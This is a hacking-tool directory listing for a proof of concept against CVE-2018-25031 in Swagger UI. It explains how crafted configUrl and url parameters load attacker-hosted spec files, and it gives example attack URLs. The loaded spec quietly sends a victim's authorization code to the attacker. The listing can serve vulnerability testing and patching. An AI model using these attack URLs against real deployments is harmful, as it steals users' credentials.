Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2018-25031 — Proof-of-concept exploit for CVE-2018-25031 (Swagger UI XSS) that exfiltrates authorization codes via crafted configUrl/url parameters. | Kitploit
Tools/GitHubGitHub/geozin/poc-cve-2018-25031
Phishing ToolsVulnerability AnalysisExploitationWeb Application ExploitationSocial Engineering
GitHubgeozin/poc-cve-2018-25031

POC-CVE-2018-25031

Proof-of-concept exploit for CVE-2018-25031 (Swagger UI XSS) that exfiltrates authorization codes via crafted configUrl/url parameters.

View Repository
152 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-25031 - Swagger UI before 4.1.3

A simple POC (CVE-2018-25031) that tricks the victim into entering the authorization code, which is then sent to the attacker.
You can use it with the XSS Vulnerability https://github.com/VictorNS69/swagger-ui-xss

It is necessary to find the parameter and assign the correct file: for configUrl, the JSON file, and for url, the YAML file.

Example:

root@kitploit:~
https://<URL>/?configUrl=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.json
https://<URL>/?url=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.yaml

Screenshot:


When the victim tries to use the API by entering the Authorization Code and clicks Execute, nothing will be displayed to them. However, a request with Authorization Code will be sent to the attacker's URL.

Ref:

https://nvd.nist.gov/vuln/detail/CVE-2018-25031
https://github.com/mathis2001/CVE-2018-25031

Download Tool